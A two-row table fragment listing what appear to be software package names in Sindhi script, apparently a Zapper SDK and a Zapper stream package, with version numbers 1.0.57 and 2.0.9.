| زپر-ايس ڊي ڪي | 1.0.57 |
| زپر-وهڪرو | 2.0.9 |







